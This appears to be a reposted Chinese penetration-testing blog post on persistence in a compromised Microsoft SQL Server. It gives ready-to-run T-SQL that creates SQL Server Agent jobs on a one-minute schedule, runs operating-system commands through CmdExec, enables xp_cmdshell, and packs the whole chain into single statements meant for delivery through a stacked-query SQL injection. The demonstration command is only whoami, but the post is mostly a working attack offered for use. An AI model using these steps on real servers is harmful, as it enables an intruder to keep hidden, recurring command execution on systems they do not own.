利用sqlserver agent job实现权限维持

渗透技巧 8个月前 admin
155 0 0

使用场景:当我们在测试中拿到目标数据库sa权限的或者dba权限的时候需要进行权限维持;SQL注入点存在堆叠查询也可同样进行。

必要条件:数据库msdb,架构dboEXECUTE权限。

一、检查是否有权限

SELECT HAS_PERMS_BY_NAME('msdb.dbo.sp_add_job''OBJECT''EXECUTE'as TRUE;

利用sqlserver agent job实现权限维持
如果TRUE返回为1则代表有权限可以进行下一步操作,如果为0则代表无权限无法进行后续的权限维持操作。

二、创建JOB任务

分为两种,一种是周期性自动运行,另一种是手动运行。先讲第一种

计划任务自动运行

1、创建JOB名称

EXEC msdb.dbo.sp_add_job @job_name=N'MyJob';

2、创建计划任务(每一分钟执行一次)

EXEC msdb.dbo.sp_add_schedule @schedule_name=N'MySchedule',@freq_type=4,@freq_interval=1,@active_start_time=0,@active_end_time=235959,@freq_subday_type=4,@freq_subday_interval=1;

3、创建JOB执行内容

EXEC msdb.dbo.sp_add_jobstep @step_id=1,@job_name=N'MyJob',@step_name=N'MyStep',@subsystem=N'CmdExec',@command=N'cmd.exe /c whoami>C:\programdata\1.txt',@on_success_action=3,@retry_attempts=1,@retry_interval=5;

4、将JOB和计划任务绑定

EXEC msdb.dbo.sp_attach_schedule @job_name=N'MyJob',@schedule_name=N'MySchedule';

4、新增JOB到jobserver

EXEC msdb.dbo.sp_add_jobserver @job_name=N'MyJob';

执行完上述命令后,就可以在sqlserver management里看到我们创建的计划任务。

利用sqlserver agent job实现权限维持
利用sqlserver agent job实现权限维持
利用sqlserver agent job实现权限维持

等过一分钟之后,就可以看到我们执行的命令成功运行。利用sqlserver agent job实现权限维持

手动运行

手动运行很简单,只需要将计划任务步骤的1、3、4拷贝过来最后再加上手动启动的命令即可:

EXEC msdb.dbo.sp_start_job @job_name=N'MyJob';


Tip: 若要一个JOB执行多条命令可以可以多创建几条JOB执行内容,需要注意的是@step_id和@step_name不可以重复,例如:

EXEC msdb.dbo.sp_add_jobstep @step_id=2,@job_name=N'MyJob',@step_name=N'MyStep1',@subsystem=N'CmdExec',@command=N'cmd.exe /c whoami>C:\programdata\2.txt',@on_success_action=3,@retry_attempts=1,@retry_interval=5;

探讨

其中重点讲一下@subsystem::
@subsystem:指定作业步骤的子系统类型(Subsystem Type)子系统定义了作业步骤的类型,例如 T-SQL 脚本、操作系统命令、PowerShell 脚本等。

可用的子系统类型主要包括以下三种:

'TSQL':T-SQL脚本
'CmdExec':操作系统命令
'PowerShell':PowerShell脚本

文章里我们用CmdExec操作系统命令做演示,如要用TSQL或者PowerShell也可以达到同等效果,

例如:TSQL开启xp_cmdshell并执行命令

EXEC msdb.dbo.sp_add_jobstep @step_id=4,@job_name=N'MyJob', @step_name=N'MyStep4',@subsystem =N'TSQL',@command=N'exec sp_configure ''show advanced options''1; reconfigure; exec sp_configure ''xp_cmdshell'', 1; reconfigure; exec master.dbo.xp_cmdshell ''whoami > C:\programdata\1.txt''',@on_success_action=3,@retry_attempts=1,@retry_interval=5;

PowerShell同理

进程调用链:

sqlagent.exe -i mssqlserver
-> cmd.exe
-> whoami.exe
利用sqlserver agent job实现权限维持

一条sql语句实现

单次运行

EXEC msdb.dbo.sp_add_job @job_name=N'MyJob';EXEC msdb.dbo.sp_add_jobstep @step_id=1,@job_name=N'MyJob',@step_name=N'MyStep',@subsystem=N'CmdExec',@command=N'cmd.exe /c whoami>C:\programdata\1.txt',@on_success_action=3,@retry_attempts=1,@retry_interval=5;EXEC msdb.dbo.sp_add_jobserver @job_name=N'MyJob';EXEC msdb.dbo.sp_start_job @job_name=N'MyJob';

定时任务运行

EXEC msdb.dbo.sp_add_job @job_name=N'MyJob';EXEC msdb.dbo.sp_add_schedule @schedule_name=N'MySchedule',@freq_type=4,@freq_interval=1,@active_start_time=0,@active_end_time=235959,@freq_subday_type=4,@freq_subday_interval=1;EXEC msdb.dbo.sp_add_jobstep @step_id=1,@job_name=N'MyJob',@step_name=N'MyStep',@subsystem=N'CmdExec',@command=N'cmd.exe /c whoami>C:\programdata\1.txt',@on_success_action=3,@retry_attempts=1,@retry_interval=5;EXEC msdb.dbo.sp_attach_schedule @job_name=N'MyJob',@schedule_name=N'MySchedule';EXEC msdb.dbo.sp_add_jobserver @job_name=N'MyJob'

Reference:

1、https://blog.51cto.com/u_15338523/3592578

2、https://blog.csdn.net/sinat_16998945/article/details/52586687


原文始发于微信公众号(Evilc0de 安全团队):利用sqlserver agent job实现权限维持

版权声明:admin 发表于 2023年8月25日 上午10:21。
转载请注明:利用sqlserver agent job实现权限维持 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...